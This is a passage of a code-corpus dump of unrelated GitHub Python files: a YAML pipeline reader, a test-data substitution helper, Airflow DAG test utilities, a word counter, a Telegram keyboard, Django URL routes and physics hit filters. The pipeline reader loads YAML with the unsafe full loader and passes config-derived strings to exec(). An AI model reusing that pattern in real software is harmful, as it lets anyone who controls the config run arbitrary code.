38, "usage_type": "call"}, {"api_name": "streamlit.write", "line_number": 39, "usage_type": "call"}, {"api_name": "streamlit.session_state", "line_number": 41, "usage_type": "attribute"}, {"api_name": "streamlit.session_state", "line_number": 42, "usage_type": "attribute"}, {"api_name": "streamlit.session_state", "line_number": 45, "usage_type": "attribute"}, {"api_name": "streamlit.session_state", "line_number": 46, "usage_type": "attribute"}, {"api_name": "streamlit.session_state", "line_number": 47, "usage_type": "attribute"}, {"api_name": "streamlit.write", "line_number": 48, "usage_type": "call"}, {"api_name": "streamlit.code", "line_number": 49, "usage_type": "call"}, {"api_name": "streamlit.write", "line_number": 50, "usage_type": "call"}, {"api_name": "streamlit.session_state", "line_number": 52, "usage_type": "attribute"}, {"api_name": "streamlit.session_state", "line_number": 53, "usage_type": "attribute"}, {"api_name": "streamlit.session_state", "line_number": 56, "usage_type": "attribute"}, {"api_name": "streamlit.session_state", "line_number": 57, "usage_type": "attribute"}, {"api_name": "streamlit.session_state", "line_number": 58, "usage_type": "attribute"}, {"api_name": "streamlit.write", "line_number": 59, "usage_type": "call"}, {"api_name": "streamlit.code", "line_number": 60, "usage_type": "call"}, {"api_name": "streamlit.write", "line_number": 61, "usage_type": "call"}]} +{"seq_id": "21936939340", "text": "import yaml\nfrom ppline.yamlread.validation.schemes.v1_0 import parse_schema\nfrom ppline.yamlread.validation.schemes.v1_0 import STATIC_DAG_SCHEMA\nfrom ppline.utils import deep_update\nfrom ppline.utils.const import dagmap_consts\n\nclass yamlRead(object):\n def __init__(self, dag_path: str, gitlab: False):\n self.gitlab = gitlab\n self.pipeline = {}\n with open(dag_path, 'r') as inf:\n stream = '\\n'.join(inf.readlines())\n try:\n deep_update(self.pipeline, yaml.load(stream, yaml.Loader))\n except yaml.YAMLError:\n raise Exception(\"Invalid YAML.\")\n \n def parse_pipeline(self) -> dict:\n \"\"\"Parse a raw user pipeline. Currently just validate the schema.\n\n :param dict pipeline: A raw pipeline passed to Dagestator.\n :return dict: The parsed pipeline.\n \"\"\"\n self.pipeline= parse_schema(self.pipeline, STATIC_DAG_SCHEMA)\n\n def extract_executables(self):\n self.commands = [val[dagmap_consts.EXEC_KEYNAME] for val in self.pipeline[dagmap_consts.STEPS_KEYNAME].values()]\n self.stages = [val for val in self.pipeline[dagmap_consts.STEPS_KEYNAME].keys()]\n\n def _gitlab(self):\n dict_ci = [{}]\n commands=self.commands\n stages=self.stages\n stages.append(\"test\")\n \n dict_ci[0] = {'stages':stages}\n dict_ci.append({'test-app': {'scripts': ['python -V',\n 'python -c \"import sys; print(sys.path)\"',\n 'python -c \"import os; print(os.getcwd())\"',\n 'python -c \"import ppline\"' \n ],\n 'stage':'test'}})\n\n for i in range(len(commands)):\n dict_ci.append({stages[i]:{'stage':stages[i],\n 'script': f'python -m ppline.cli --trigger_class {commands[i]}', \n 'retry': {'max': 2}\n }\n })\n\n with open(r'gitlab_ci.yaml', 'w') as file:\n documents = yaml.dump(dict_ci, file)\n print(\"gitlab-ci has been successfully created!\")\n \n def _yaml(self):\n for i in range(len(self.commands)):\n _file=self.commands[i].split(':')[0][:-3].replace('/', '.')\n _class = self.commands[i].split(':')[1]\n exec(f'from {_file} import {_class}')\n\n exec(f'c{i} = {_class}()')\n exec(f'c{i}()')\n\n def executor(self):\n if self.gitlab == True:\n self._gitlab()\n else:\n self._yaml()\n\n def __call__(self):\n self.parse_pipeline()\n self.extract_executables()\n self.executor()\n", "repo_name": "5x12/ppline", "sub_path": "ppline/yamlread/yamlread.py", "file_name": "yamlread.py", "file_ext": "py", "file_size_in_byte": 2814, "program_lang": "python", "lang": "en", "doc_type": "code", "stars": 3, "dataset": "github-code", "pt": "16", "api": [{"api_name": "ppline.utils.deep_update", "line_number": 14, "usage_type": "call"}, {"api_name": "yaml.load", "line_number": 14, "usage_type": "call"}, {"api_name": "yaml.Loader", "line_number": 14, "usage_type": "attribute"}, {"api_name": "yaml.YAMLError", "line_number": 15, "usage_type": "attribute"}, {"api_name": "ppline.yamlread.validation.schemes.v1_0.parse_schema", "line_number": 24, "usage_type": "call"}, {"api_name": "ppline.yamlread.validation.schemes.v1_0.STATIC_DAG_SCHEMA", "line_number": 24, "usage_type": "argument"}, {"api_name": "ppline.utils.const.dagmap_consts.EXEC_KEYNAME", "line_number": 27, "usage_type": "attribute"}, {"api_name": "ppline.utils.const.dagmap_consts", "line_number": 27, "usage_type": "name"}, {"api_name": "ppline.utils.const.dagmap_consts.STEPS_KEYNAME", "line_number": 27, "usage_type": "attribute"}, {"api_name": "ppline.utils.const.dagmap_consts.STEPS_KEYNAME", "line_number": 28, "usage_type": "attribute"}, {"api_name": "ppline.utils.const.dagmap_consts", "line_number": 28, "usage_type": "name"}, {"api_name": "yaml.dump", "line_number": 52, "usage_type": "call"}]} +{"seq_id": "9322246113", "text": "# -*- coding:utf-8 -*-\n# Email:84351228@qq.com\n# Author:KeKe\n\nimport re\nimport json\nimport random\nfrom jsonpath import jsonpath\nfrom faker import Faker\nfrom middleware.project_yaml import conf_data\nfrom middleware.project_mysql import ProjectMysql\nfrom middleware.project_yaml import res_yaml\n\n\nclass DataReplace:\n\n def __init__(self):\n self.db = ProjectMysql()\n\n @property\n def token(self):\n\n res = json.loads(res_yaml.get_yaml_data()['get_login_data_res'])\n token = jsonpath(res, '$..token')[0]\n\n return token\n\n @property\n def member_id(self):\n \"\"\"\n 从登录响应结果中获取member_id\n :return: member_id\n \"\"\"\n\n res = json.loads(res_yaml.get_yaml_data()['get_login_data_res'])\n\n return str(jsonpath(res, '$..id')[0])\n\n @property\n def error_id(self):\n \"\"\" 返回非当前登录用户的id(member表中已存在的id) \"\"\"\n\n res = json.loads(res_yaml.get_yaml_data()['get_login_data_res'])\n\n return str(jsonpath(res, '$..id')[0] + 1)\n\n @property\n def bidding_loan_id(self):\n \"\"\" invest接口第2条案例数据:查找数据库中loan表status为2的且不等于当前类loan_id属性值的最大项目id \"\"\"\n\n sql = f\"select MAX(id) from loan where status=2; \"\n sql_result = self.db.query_one(sql)\n\n return str(sql_result['MAX(id)'])\n\n @property\n def err_loan_id(self):\n \"\"\" 返回数据库loan表中不存在的项目id \"\"\"\n\n sql = \"SELECT MAX(id) FROM loan;\"\n sql_result = self.db.query_one(sql)\n\n return str(sql_result['MAX(id)'] + 1)\n\n @property\n def auditting_loan_id(self):\n \"\"\" 返回数据库中loan表status为1的最大项目id \"\"\"\n\n sql = \"SELECT MAX(id) FROM loan WHERE STATUS=1;\"\n sql_result = self.db.query_one(sql)\n\n return str(sql_result[\"MAX(id)\"])\n\n @property\n def title(self):\n \"\"\" 生成项目标题 \"\"\"\n\n start_str = random.choice([\"博时\", \"广发\", \"平安银行\", \"招商银行\", \"建设银行\", \"华夏\", \"国金\"])\n middle_str = random.choice([\"货币\", \"信币\", \"惠币\", \"余额宝\", \"现金宝\"])\n end_str = random.choice([\"A\", \"B\", \"E\", \"增强\"])\n\n return start_str + middle_str + end_str\n\n @property\n def max_title(self):\n \"\"\" 生成一个长度大于50的字符 \"\"\"\n\n my_str = list(\"abcdefghijklmnopqrstuvwsyz\")\n\n new_str = \"\"\n for i in range(51):\n new_str += random.choice(my_str)\n\n return new_str\n\n @property\n def max_amount(self):\n \"\"\" 查询数据库用户余额，返回大于当前余额的金额 \"\"\"\n\n res = json.loads(res_yaml.get_yaml_data()['get_login_data_res'])\n\n sql = f\"SELECT leave_amount FROM member WHERE id={res['id']};\"\n\n sql_result = self.db.query_one(sql)\n\n return str(float(sql_result[\"leave_amount\"]) + 0.1)\n\n @property\n def mobile_phone(self):\n \"\"\" 生成未注册的手机号，手机号在member表查询不到记录则表示未注册 \"\"\"\n\n while True:\n # 生成手机号\n phone = self.__make_phone()\n select_sql = f\"select * from member where mobile_phone={phone};\"\n\n # member表中查询手机号返回的结果为0时表示手机号未生成，否则将循环生成并判断生成的手机号是否注册\n if self.db.get_count(select_sql) == 0:\n self.db.close()\n return phone\n\n @property\n def old_phone(self):\n \"\"\" 获取数据库中已注册的手机号 \"\"\"\n\n sql = f\"select * from member where id={1};\"\n old_phone = self.db.query_one(sql)\n self.db.close()\n\n return old_phone[\"mobile_phone\"]\n\n @property\n def admin(self):\n \"\"\" 从配置文件中获取admin区域中的mobile_phone的值（获取普通用户的账号） \"\"\"\n\n return conf_data['account']['admin']['mobile_phone']\n\n @property\n def admin_pwd(self):\n \"\"\" 从配置文件中获取admin区域中的pwd的值（获取普通用户的账户密码）\"\"\"\n\n return conf_data['account']['admin']['pwd']\n\n @property\n def user(self):\n \"\"\" 从配置文件中获取user区域中的mobile_phone的值（获取普通用户的账号） \"\"\"\n\n return conf_data['account'][\"user\"]['mobile_phone']\n\n @property\n def user_pwd(self):\n \"\"\" 从配置文件中获取user区域中的pwd的值（获取普通用户的账户密码）\"\"\"\n\n return conf_data['account'][\"user\"]['pwd']\n\n # def replace_data(self, string_data: str):\n # \"\"\"\n # 测试数据替换：在源字符串中匹配查找与DataReplace类中属性值一样的字符并进行替换，DateReplace类中不存在的则不进行替换\n # :param string_data: str类型字符串数据\n # :return: 返回替换后的结果\n # \"\"\"\n #\n # # 若传递的数据非str类型则将转换为json字符串类型\n # if not isinstance(string_data, str):\n # string_data = json.dumps(string_data)\n #\n # pattern = r'#(.+?)#'\n #\n # str_data: str = string_data\n #\n # search_list = list()\n #\n # # 一次性匹配查到源字符串中所有符合条件的字符并存储到search_list列表中\n # while re.search(pattern, str_data):\n #\n # # 查找第一个匹配项作为键值（类属性名）\n # search_list.append(re.search(pattern, str_data).group(1))\n #\n # # 将每一次匹配到的字符串替换为空字符（若不进行替换则每次只能匹配同一个字符）\n # str_data = str_data.replace(f'#{search_list[-1]}#', '', 1)\n #\n # # 挨个替换能在DataReplace类中匹配到的字符，无法匹配到的则不进行替换\n # for item in search_list:\n #\n # # 从Context类的对象中获取key属性的值，若不存在则返回空\n # value = getattr(self, item, '')\n #\n # if value:\n # # 将获取到的value替换相应匹配到的子字符串（注意：每次只替换一次，否则所有以#开头以#结束的子字符串将全部被替换）\n # # string_data = re.sub(pattern, value, string_data, 1) # 存在问题：当for循环迭代变量在此类属性中找不到时也被替换成下一个存在的迭代变量对应的属性值\n # string_data = string_data.replace(f'#{item}#', value, 1)\n #\n # return string_data\n\n def replace_data(self, target_string: str, source_string: dict = None):\n \"\"\"\n 测试数据替换： 要替换的数据均是源数据与目标数据中均能查找匹配上的值（任意一方匹配为空时均不进行替换）\n 1、从DataReplace类中提取target_string字符串中要进行替换的值，替换target_string字符串中的数据\n 2、从source_string字典中提取target_string字符串中要进行替换的值，替换target_string字符串中的数据\n :param source_string: （源）字典\n :param target_string: （目标）字符串：要进行替换的字符串\n :return:\n \"\"\"\n\n # 若传递的数据非str类型则将转换为json字符串类型\n if not isinstance(target_string, str):\n target_string = json.dumps(target_string)\n\n pattern = r'#(.+?)#'\n\n str_data: str = target_string\n\n search_list = list()\n\n # 一次性匹配查到源字符串中所有符合条件的字符并存储到search_list列表中\n while re.search(pattern, str_data):\n # 查找第一个匹配项作为键值（类属性名）\n search_list.append(re.search(pattern, str_data).group(1))\n\n # 将每一次匹配到的字符串替换为空字符（若不进行替换则每次只能匹配同一个字符）\n str_data = str_data.replace(f'#{search_list[-1]}#', '', 1)\n\n # 挨个替换能在DataReplace类中匹配到的字符，无法匹配到的则不进行替换\n for item in search_list:\n\n # 从Context类的对象中获取key属性的值，若不存在则返回空\n if source_string:\n value = jsonpath(source_string, f'$..{item}')\n else:\n value = getattr(self, item, '')\n\n if value:\n # 将获取到的value替换相应匹配到的子字符串（注意：每次只替换一次，否则所有以#开头以#结束的子字符串将全部被替换）\n # string_data = re.sub(pattern, value, string_data, 1) # 存在问题：当for循环迭代变量在此类属性中找不到时也被替换成下一个存在的迭代变量对应的属性值\n target_string = target_string.replace(f'#{item}#', value, 1)\n\n return target_string\n\n def __make_phone(self):\n \"\"\" 生成手机号 \"\"\"\n\n fake = Faker(locale='zh_CN')\n phone_number = fake.phone_number()\n\n return phone_number\n\n def close_db(self):\n self.db.close()\n\n\nif __name__ == '__main__':\n from middleware.project_yaml import member_data\n # print(member_data['register'][0]['data'])\n str_data = \"ADSFKLJDL #loan_id#\"\n con = DataReplace()\n data = con.replace_data(str_data)\n print(data)\n\n\n\n\n\n\n", "repo_name": "13922152554/api_framework", "sub_path": "middleware/data_replace.py", "file_name": "data_replace.py", "file_ext": "py", "file_size_in_byte": 9342, "program_lang": "python", "lang": "zh", "doc_type": "code", "stars": 0, "dataset": "github-code", "pt": "16", "api": [{"api_name": "middleware.project_mysql.ProjectMysql", "line_number": 18, "usage_type": "call"}, {"api_name": "json.loads", "line_number": 23, "usage_type": "call"}, {"api_name": "middleware.project_yaml.res_yaml.get_yaml_data", "line_number": 23, "usage_type": "call"}, {"api_name": "middleware.project_yaml.res_yaml", "line_number": 23, "usage_type": "name"}, {"api_name": "jsonpath.jsonpath", "line_number": 24, "usage_type": "call"}, {"api_name": "json.loads", "line_number": 35, "usage_type": "call"}, {"api_name": "middleware.project_yaml.res_yaml.get_yaml_data", "line_number": 35, "usage_type": "call"}, {"api_name": "middleware.project_yaml.res_yaml", "line_number": 35, "usage_type": "name"}, {"api_name": "jsonpath.jsonpath", "line_number": 37, "usage_type": "call"}, {"api_name": "json.loads", "line_number": 43, "usage_type": "call"}, {"api_name": "middleware.project_yaml.res_yaml.get_yaml_data", "line_number": 43, "usage_type": "call"}, {"api_name": "middleware.project_yaml.res_yaml", "line_number": 43, "usage_type": "name"}, {"api_name": "jsonpath.jsonpath", "line_number": 45, "usage_type": "call"}, {"api_name": "random.choice", "line_number": 78, "usage_type": "call"}, {"api_name": "random.choice", "line_number": 79, "usage_type": "call"}, {"api_name": "random.choice", "line_number": 80, "usage_type": "call"}, {"api_name": "random.choice", "line_number": 92, "usage_type": "call"}, {"api_name": "json.loads", "line_number": 100, "usage_type": "call"}, {"api_name": "middleware.project_yaml.res_yaml.get_yaml_data", "line_number": 100, "usage_type": "call"}, {"api_name": "middleware.project_yaml.res_yaml", "line_number": 100, "usage_type": "name"}, {"api_name": "middleware.project_yaml.conf_data", "line_number": 136, "usage_type": "name"}, {"api_name": "middleware.project_yaml.conf_data", "line_number": 142, "usage_type": "name"}, {"api_name": "middleware.project_yaml.conf_data", "line_number": 148, "usage_type": "name"}, {"api_name": "middleware.project_yaml.conf_data", "line_number": 154, "usage_type": "name"}, {"api_name": "json.dumps", "line_number": 207, "usage_type": "call"}, {"api_name": "re.search", "line_number": 216, "usage_type": "call"}, {"api_name": "re.search", "line_number": 218, "usage_type": "call"}, {"api_name": "jsonpath.jsonpath", "line_number": 228, "usage_type": "call"}, {"api_name": "faker.Faker", "line_number": 242, "usage_type": "call"}]} +{"seq_id": "43153346032", "text": "from __future__ import annotations\n\nimport logging\nimport sys\nfrom datetime import datetime\nfrom typing import Any\n\nfrom airflow.configuration import secrets_backend_list\nfrom airflow.exceptions import AirflowSkipException\nfrom airflow.models.dag import DAG\nfrom airflow.models.dagrun import DagRun\nfrom airflow.models.taskinstance import TaskInstance\nfrom airflow.secrets.local_filesystem import LocalFilesystemBackend\nfrom airflow.utils import timezone\nfrom airflow.utils.session import NEW_SESSION, provide_session\nfrom airflow.utils.state import DagRunState, State\nfrom airflow.utils.types import DagRunType\nfrom sqlalchemy.orm.session import Session\n\nlog = logging.getLogger(__name__)\n\n\ndef run_dag(dag: DAG, conn_file_path: str | None = None) -> DagRun:\n return test_dag(dag=dag, conn_file_path=conn_file_path)\n\n\n# DAG.test() was added in Airflow version 2.5.0. And to test on older Airflow versions, we need to copy the\n# implementation here.\n@provide_session\ndef test_dag(\n dag,\n execution_date: datetime | None = None,\n run_conf: dict[str, Any] | None = None,\n conn_file_path: str | None = None,\n variable_file_path: str | None = None,\n session: Session = NEW_SESSION,\n) -> DagRun:\n \"\"\"\n Execute one single DagRun for a given DAG and execution date.\n\n :param execution_date: execution date for the DAG run\n :param run_conf: configuration to pass to newly created dagrun\n :param conn_file_path: file path to a connection file in either yaml or json\n :param variable_file_path: file path to a variable file in either yaml or json\n :param session: database connection (optional)\n \"\"\"\n\n if conn_file_path or variable_file_path:\n local_secrets = LocalFilesystemBackend(\n variables_file_path=variable_file_path, connections_file_path=conn_file_path\n )\n secrets_backend_list.insert(0, local_secrets)\n\n execution_date = execution_date or timezone.utcnow()\n\n dag.log.debug(\"Clearing existing task instances for execution date %s\", execution_date)\n dag.clear(\n start_date=execution_date,\n end_date=execution_date,\n dag_run_state=False,\n session=session,\n )\n dag.log.debug(\"Getting dagrun for dag %s\", dag.dag_id)\n dr: DagRun = _get_or_create_dagrun(\n dag=dag,\n start_date=execution_date,\n execution_date=execution_date,\n run_id=DagRun.generate_run_id(DagRunType.MANUAL, execution_date),\n session=session,\n conf=run_conf,\n )\n\n tasks = dag.task_dict\n dag.log.debug(\"starting dagrun\")\n # Instead of starting a scheduler, we run the minimal loop possible to check\n # for task readiness and dependency management. This is notably faster\n # than creating a BackfillJob and allows us to surface logs to the user\n while dr.state == State.RUNNING:\n schedulable_tis, _ = dr.update_state(session=session)\n for ti in schedulable_tis:\n add_logger_if_needed(dag, ti)\n ti.task = tasks[ti.task_id]\n _run_task(ti, session=session)\n if conn_file_path or variable_file_path:\n # Remove the local variables we have added to the secrets_backend_list\n secrets_backend_list.pop(0)\n\n print(\"conn_file_path\", conn_file_path)\n\n return dr\n\n\ndef add_logger_if_needed(dag: DAG, ti: TaskInstance):\n \"\"\"\n Add a formatted logger to the taskinstance so all logs are surfaced to the command line instead\n of into a task file. Since this is a local test run, it is much better for the user to see logs\n in the command line, rather than needing to search for a log file.\n Args:\n ti: The taskinstance that will receive a logger\n\n \"\"\"\n logging_format = logging.Formatter(\"[%(asctime)s] {%(filename)s:%(lineno)d} %(levelname)s - %(message)s\")\n handler = logging.StreamHandler(sys.stdout)\n handler.level = logging.INFO\n handler.setFormatter(logging_format)\n # only add log handler once\n if not any(isinstance(h, logging.StreamHandler) for h in ti.log.handlers):\n dag.log.debug(\"Adding Streamhandler to taskinstance %s\", ti.task_id)\n ti.log.addHandler(handler)\n\n\ndef _run_task(ti: TaskInstance, session):\n \"\"\"\n Run a single task instance, and push result to Xcom for downstream tasks. Bypasses a lot of\n extra steps used in `task.run` to keep our local running as fast as possible\n This function is only meant for the `dag.test` function as a helper function.\n\n Args:\n ti: TaskInstance to run\n \"\"\"\n log.info(\"*****************************************************\")\n if hasattr(ti, \"map_index\") and ti.map_index > 0:\n log.info(\"Running task %s index %d\", ti.task_id, ti.map_index)\n else:\n log.info(\"Running task %s\", ti.task_id)\n try:\n ti._run_raw_task(session=session)\n session.flush()\n log.info(\"%s ran successfully!\", ti.task_id)\n except AirflowSkipException:\n log.info(\"Task Skipped, continuing\")\n log.info(\"*****************************************************\")\n\n\ndef _get_or_create_dagrun(\n dag: DAG,\n conf: dict[Any, Any] | None,\n start_date: datetime,\n execution_date: datetime,\n run_id: str,\n session: Session,\n) -> DagRun:\n \"\"\"\n Create a DAGRun, but only after clearing the previous instance of said dagrun to prevent collisions.\n This function is only meant for the `dag.test` function as a helper function.\n :param dag: Dag to be used to find dagrun\n :param conf: configuration to pass to newly created dagrun\n :param start_date: start date of new dagrun, defaults to execution_date\n :param execution_date: execution_date for finding the dagrun\n :param run_id: run_id to pass to new dagrun\n :param session: sqlalchemy session\n :return:\n \"\"\"\n log.info(\"dagrun id: %s\", dag.dag_id)\n dr: DagRun = (\n session.query(DagRun).filter(DagRun.dag_id == dag.dag_id, DagRun.execution_date == execution_date).first()\n )\n if dr:\n session.delete(dr)\n session.commit()\n dr = dag.create_dagrun(\n state=DagRunState.RUNNING,\n execution_date=execution_date,\n run_id=run_id,\n start_date=start_date or execution_date,\n session=session,\n conf=conf,\n )\n log.info(\"created dagrun %s\", str(dr))\n return dr\n", "repo_name": "astronomer/astronomer-cosmos", "sub_path": "tests/utils.py", "file_name": "utils.py", "file_ext": "py", "file_size_in_byte": 6288, "program_lang": "python", "lang": "en", "doc_type": "code", "stars": 312, "dataset": "github-code", "pt": "16", "api": [{"api_name": "logging.getLogger", "line_number": 20, "usage_type": "call"}, {"api_name": "airflow.models.dag.DAG", "line_number": 23, "usage_type": "name"}, {"api_name": "airflow.models.dagrun.DagRun", "line_number": 23, "usage_type": "name"}, {"api_name": "datetime.datetime", "line_number": 32, "usage_type": "name"}, {"api_name": "typing.Any", "line_number": 33, "usage_type": "name"}, {"api_name": "sqlalchemy.orm.session.Session", "line_number": 36, "usage_type": "name"}, {"api_name": "airflow.utils.session.NEW_SESSION", "line_number": 36, "usage_type": "name"}, {"api_name": "airflow.secrets.local_filesystem.LocalFilesystemBackend", "line_number": 49, "usage_type": "call"}, {"api_name": "airflow.configuration.secrets_backend_list.insert", "line_number": 52, "usage_type": "call"}, {"api_name": "airflow.configuration.secrets_backend_list", "line_number": 52, "usage_type": "name"}, {"api_name": "airflow.utils.timezone.utcnow", "line_number": 54, "usage_type": "call"}, {"api_name": "airflow.utils.timezone", "line_number": 54, "usage_type": "name"}, {"api_name": "airflow.models.dagrun.DagRun", "line_number": 64, "usage_type": "name"}, {"api_name": "airflow.models.dagrun.DagRun.generate_run_id", "line_number": 68, "usage_type": "call"}, {"api_name": "airflow.models.dagrun.DagRun", "line_number": 68, "usage_type": "name"}, {"api_name": "airflow.utils.types.DagRunType.MANUAL", "line_number": 68, "usage_type": "attribute"}, {"api_name": "airflow.utils.types.DagRunType", "line_number": 68, "usage_type": "name"}, {"api_name": "airflow.utils.state.State.RUNNING", "line_number": 78, "usage_type": "attribute"}, {"api_name": "airflow.utils.state.State", "line_number": 78, "usage_type": "name"}, {"api_name": "airflow.configuration.secrets_backend_list.pop", "line_number": 86, "usage_type": "call"}, {"api_name": "airflow.configuration.secrets_backend_list", "line_number": 86, "usage_type": "name"}, {"api_name": "airflow.utils.session.provide_session", "line_number": 29, "usage_type": "name"}, {"api_name": "airflow.models.dagrun.DagRun", "line_number": 37, "usage_type": "name"}, {"api_name": "airflow.models.dag.DAG", "line_number": 93, "usage_type": "name"}, {"api_name": "airflow.models.taskinstance.TaskInstance", "line_number": 93, "usage_type": "name"}, {"api_name": "logging.Formatter", "line_number": 102, "usage_type": "call"}, {"api_name": "logging.StreamHandler", "line_number": 103, "usage_type": "call"}, {"api_name": "sys.stdout", "line_number": 103, "usage_type": "attribute"}, {"api_name": "logging.INFO", "line_number": 104, "usage_type": "attribute"}, {"api_name": "logging.StreamHandler", "line_number": 107, "usage_type": "attribute"}, {"api_name": "airflow.models.taskinstance.TaskInstance", "line_number": 112, "usage_type": "name"}, {"api_name": "airflow.exceptions.AirflowSkipException", "line_number": 130, "usage_type": "name"}, {"api_name": "airflow.models.dag.DAG", "line_number": 136, "usage_type": "name"}, {"api_name": "typing.Any", "line_number": 137, "usage_type": "name"}, {"api_name": "datetime.datetime", "line_number": 138, "usage_type": "name"}, {"api_name": "datetime.datetime", "line_number": 139, "usage_type": "name"}, {"api_name": "sqlalchemy.orm.session.Session", "line_number": 141, "usage_type": "name"}, {"api_name": "airflow.models.dagrun.DagRun", "line_number": 155, "usage_type": "name"}, {"api_name": "airflow.models.dagrun.DagRun", "line_number": 156, "usage_type": "argument"}, {"api_name": "airflow.models.dagrun.DagRun.dag_id", "line_number": 156, "usage_type": "attribute"}, {"api_name": "airflow.models.dagrun.DagRun.execution_date", "line_number": 156, "usage_type": "attribute"}, {"api_name": "airflow.utils.state.DagRunState.RUNNING", "line_number": 162, "usage_type": "attribute"}, {"api_name": "airflow.utils.state.DagRunState", "line_number": 162, "usage_type": "name"}, {"api_name": "airflow.models.dagrun.DagRun", "line_number": 142, "usage_type": "name"}]} +{"seq_id": "74003411527", "text": "#!/usr/bin/env python3\nimport sys\nimport re\nimport collections\n\ndef extra_file(file):\n wordlist = {}\n with open(file) as f:\n text = f.read()\n f.close()\n text = text.lower()\n new_text = re.sub(\"[.!'--\\n]\", \"\", text)\n new_text = new_text.split(\" \")\n\n for word in new_text:\n if word not in wordlist:\n wordlist[word] = 0\n wordlist[word] += 1\n\n return wordlist\n\ndef sort_by_count(d):\n d = collections.OrderedDict(sorted(d.items(), key = lambda t: -t[1]))\n return d\n\nif __name__ == \"__main__\":\n file = sys.argv[1]\n\n d = extra_file(file)\n\n words = sort_by_count(d)\n\n for key,value in words.items():\n print(\"{0:>20} : {1}\".format(key, value))\n\n \n \n \n", "repo_name": "loongoo/GitDemo", "sub_path": "question_3/vincent_q3.py", "file_name": "vincent_q3.py", "file_ext": "py", "file_size_in_byte": 800, "program_lang": "python", "lang": "en", "doc_type": "code", "stars": 0, "dataset": "github-code", "pt": "16", "api": [{"api_name": "re.sub", "line_number": 12, "usage_type": "call"}, {"api_name": "collections.OrderedDict", "line_number": 23, "usage_type": "call"}, {"api_name": "sys.argv", "line_number": 27, "usage_type": "attribute"}]} +{"seq_id": "25236189370", "text": "from aiogram.types import InlineKeyboardButton, InlineKeyboardMarkup\n\ndef basket_kb(products):\n basket_keyboard = InlineKeyboardMarkup(row_width=2)\n for product in products:\n flag = 1 if product['is_package'] else 0\n btn = InlineKeyboardButton(\"❌\"+product[\"name\"],callback_data=f\"delete_{product['id']}_{flag}\")\n basket_keyboard.insert(btn)\n clear_btn = InlineKeyboardButton(\"Очистить корзину\",callback_data=\"clear_basket\")\n buy_btn = InlineKeyboardButton(\"Оформить заказ\",callback_data=\"create_order\")\n basket_keyboard.add(clear_btn)\n basket_keyboard.add(buy_btn)\n return basket_keyboard\n", "repo_name": "Artvell/bot", "sub_path": "project/bot/keyboards/basket_kb.py", "file_name": "basket_kb.py", "file_ext": "py", "file_size_in_byte": 661, "program_lang": "python", "lang": "en", "doc_type": "code", "stars": 0, "dataset": "github-code", "pt": "16", "api": [{"api_name": "aiogram.types.InlineKeyboardMarkup", "line_number": 4, "usage_type": "call"}, {"api_name": "aiogram.types.InlineKeyboardButton", "line_number": 7, "usage_type": "call"}, {"api_name": "aiogram.types.InlineKeyboardButton", "line_number": 9, "usage_type": "call"}, {"api_name": "aiogram.types.InlineKeyboardButton", "line_number": 10, "usage_type": "call"}]} +{"seq_id": "25820433066", "text": "from django.urls import path\n\nfrom . import views\n\nurlpatterns = [\n path('', views.index, name='index'),\n path('viewStocks', views.viewStocks),\n path('viewTransactions', views.viewTransactions),\n path('viewMyTransactions', views.viewMyTransactions),\n path('transaction/<int:transactionNu>', views.viewIndividualTransaction),\n path('purchaseStock/<int:stockId>', views.purchaseStockView),\n path('confirmPurchase/', views.confirmPurchaseStock),\n path('confirmPurchase/confirmed/', views.processPurchase),\n path('sellStock/<str:stockSymbol>', views.sellStock),\n path('past_prices_chart/<int:stockId>', views.past_prices_chart, name='past_prices_chart'),\n]", "repo_name": "DockDockGoose/Project", "sub_path": "stocksite/frontEnd/urls.py", "file_name": "urls.py", "file_ext": "py", "file_size_in_byte": 682, "program_lang": "python", "lang": "en", "doc_type": "code", "stars": 0, "dataset": "github-code", "pt": "16", "api": [{"api_name": "django.urls.path", "line_number": 6, "usage_type": "call"}, {"api_name": "django.urls.path", "line_number": 7, "usage_type": "call"}, {"api_name": "django.urls.path", "line_number": 8, "usage_type": "call"}, {"api_name": "django.urls.path", "line_number": 9, "usage_type": "call"}, {"api_name": "django.urls.path", "line_number": 10, "usage_type": "call"}, {"api_name": "django.urls.path", "line_number": 11, "usage_type": "call"}, {"api_name": "django.urls.path", "line_number": 12, "usage_type": "call"}, {"api_name": "django.urls.path", "line_number": 13, "usage_type": "call"}, {"api_name": "django.urls.path", "line_number": 14, "usage_type": "call"}, {"api_name": "django.urls.path", "line_number": 15, "usage_type": "call"}]} +{"seq_id": "23674501797", "text": "from muTel.utils.meta import superlayers, layers\r\nimport pandas as pd\r\nimport numpy as np\r\nimport logging\r\nfrom IPython.display import display\r\n\r\ndef f_4hits(df,sl):\r\n sl_slice = df[df['sl'] == sl].drop(['sl'],axis='columns')\r\n cond = sl_slice.groupby('EventNr').apply(lambda grp: (set(grp.layer) == layers)and(grp.layer.size==4))\r\n idx = cond[cond==True].index\r\n return df.loc[idx]\r\n\r\n\r\ndef f_4hits_inclusive(target, sl,**kwargs):\r\n logging.info(f'Estudiando SL {sl}')\r\n \r\n return f_4hits(target.df,sl)\r\n\r\ndef f_4hits_exclusive(target,sl,**kwargs):\r\n df = target.df\r\n for sl in superlayers:\r\n df = f_4hits(df,sl)\r\n return df\r\n\r\ndef f_3hits(df,sl):\r\n sl_slice = df[df['sl'] == sl].drop(['sl'],axis='columns')\r\n cond_3set =lambda grp: len(set(layers) - set(grp.layer)) == 1\r\n cond = sl_slice\\\r\n .groupby('EventNr')\\\r\n .apply(lambda grp: \r\n (\r\n cond_3set(grp)\r\n )and(\r\n grp.layer.size==3\r\n )\r\n )\r\n idx = cond[cond==True].index\r\n return df.loc[idx]\r\n\r\n\r\ndef f_3n4hits(target,sl,**kwargs):\r\n df = target.df\r\n return pd.concat([f_4hits(df,sl),f_3hits(df,sl)])\r\n\r\nf_dict = {\r\n '4hits_in' : f_4hits_inclusive,\r\n '4hits_ex' : f_4hits_exclusive,\r\n '3n4hits' : f_3n4hits\r\n}\r\n\r\n\r\n", "repo_name": "magnarex/muTel-tfm", "sub_path": "src/muTel/utils/conditionals.py", "file_name": "conditionals.py", "file_ext": "py", "file_size_in_byte": 1321, "program_lang": "python", "lang": "en", "doc_type": "code", "stars": 0, "dataset": "github-code", "pt": "16", "api": [{"api_name": "muTel.utils.meta.layers", "line_number": 9, "usage_type": "name"}, {"api_name": "logging.info", "line_number": 15, "usage_type": "call"}, {"api_name": "muTel.utils.meta.superlayers", "line_number": 21, "usage_type": "name"}, {"api_name": "muTel.utils.meta.layers", "line_number": 27, "usage_type": "argument"}, {"api_name": "pandas.concat", "line_number": 43, "usage_type": "call"}]} +{"seq_id": 